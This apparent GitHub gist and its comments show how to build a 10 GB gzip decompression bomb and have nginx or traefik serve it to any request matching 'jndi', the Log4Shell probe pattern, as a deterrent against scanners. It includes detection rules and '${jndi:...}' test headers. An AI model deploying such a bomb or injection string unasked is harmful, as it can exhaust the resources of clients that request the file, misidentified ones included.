Skip to content

Instantly share code, notes, and snippets.

@shipilev
Last active February 6, 2022 17:12
Show Gist options
  • Star 42 You must be signed in to star a gist
  • Fork 4 You must be signed in to fork a gist
  • Save shipilev/92e709a868f3d328b6636e1bfc21cf09 to your computer and use it in GitHub Desktop.
Save shipilev/92e709a868f3d328b6636e1bfc21cf09 to your computer and use it in GitHub Desktop.
  1. Generate the file:
$ awk 'BEGIN { for(c=0;c<10000000;c++) printf "<p>LOL</p>" }' > 100M.html
$ (for I in `seq 1 100`; do cat 100M.html; done) | pv | gzip -9 > 10G.boomgz
  1. Check it is indeed good:
$ zcat 10G.boomgz | pv | wc
...
      0       1 10000000000
  1. Put the field in the wwwroot

  2. Hook it up to nginx

server {
  ...
  
  # Hi there, looking for some trouble?
  if ($http_user_agent ~* jndi) {
    rewrite ^(.*)$ /10G.boomgz;
  }
  if ($http_referer ~* jndi) {
    rewrite ^(.*)$ /10G.boomgz;
  }
  if ($request ~* jndi) {
    rewrite ^(.*)$ /10G.boomgz;
  }

  location ~* \.boomgz$ {
    add_header Expires "Sat, 1 Jan 2000 00:00:00 GMT"; # No caching.
    add_header Content-Encoding gzip;                  # Yup, that's a GZIP bomb. I mean, GZIP *stream*, take it.
    add_header Content-Type text/html;                 # Have a nice browser? Let it render stuff.
    limit_rate 100k;                                   # But wait, wait! The good part is coming any minute now.
  }
}  
  1. Test it works
# Estimate: on-the-wire transfer
$ curl -s -L hostname -A "\${jndi:lolwat}" | pv > /dev/null

# Estimate: unpacked contents seen from client
$ curl -s --compressed -L hostname -A "\${jndi:lolwat}" | pv > /dev/null
@iamironz
Copy link

for I in `seq 1 100`; do cat 100M.html; done; | pv | gzip -9 > 10G.new.boomgz

syntax error near unexpected token `|'

bash 5.0

@shipilev
Copy link
Author

for I in `seq 1 100`; do cat 100M.html; done; | pv | gzip -9 > 10G.new.boomgz

Needed parentheses.

@plaes
Copy link

plaes commented Dec 11, 2021

For "testing": curl -s --compressed -L example.org -A "\${jndi:lolwat}" | pv > /dev/null

(Taken from @shipilev's Twitter post.)

@bmarwell
Copy link

bmarwell commented Dec 12, 2021

Here's my traefik-attached docker-compose container:

user@host:~/docker/log4jbomb $ cat docker-compose.yml 
version: '3.2'

services:
  log4jbomb:
    restart: always
    image: nginx:mainline
    volumes:
      - ./htdocs:/usr/share/nginx/html
      - ./templates:/etc/nginx/templates
    container_name: log4jbomb
    networks:
      - proxy
    environment:
      - NGINX_HOST=host1.dev host2.invalid
      - NGINX_PORT=80
    labels:
      - "traefik.enable=true"
      - "traefik.http.routers.log4jbomb.entrypoints=web"
      - "traefik.http.routers.log4jbomb.rule=HeadersRegexp(`user-agent`, `.*jndi:.*`)"
      - "traefik.http.routers.log4jbomb.priority=1000"
      - "traefik.http.routers.log4jbomb-secure.entrypoints=web-secure"
      - "traefik.http.routers.log4jbomb-secure.rule=HeadersRegexp(`user-agent`, `.*jndi:.*`)||Host(`log4jbomb.myhost.invalid`)"
      - "traefik.http.routers.log4jbomb-secure.tls.certresolver=le"
      - "traefik.http.routers.log4jbomb-secure.tls=true"
      - "traefik.http.routers.log4jbomb-secure.service=log4jbomb"
      - "traefik.http.services.log4jbomb.loadbalancer.server.port=80"
      - "traefik.docker.network=proxy"


networks:
  proxy:
    external: true

The server tempalte only needs a

server {
  listen       ${NGINX_PORT};
  server_name  ${NGINX_HOST};
  access_log   /dev/stdout;

  root         /usr/share/nginx/html;

And the htdocs should be self-explanatory.

@andrewimeson
Copy link

You can drop pv from the command if you don't have it installed, it just adds a progress bar.

awk 'BEGIN { for(c=0;c<10000000;c++) printf "<p>LOL</p>" }' >100M.html
for _ in {1..100}; do cat 100M.html; done | gzip -9 >10G.boomgz

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment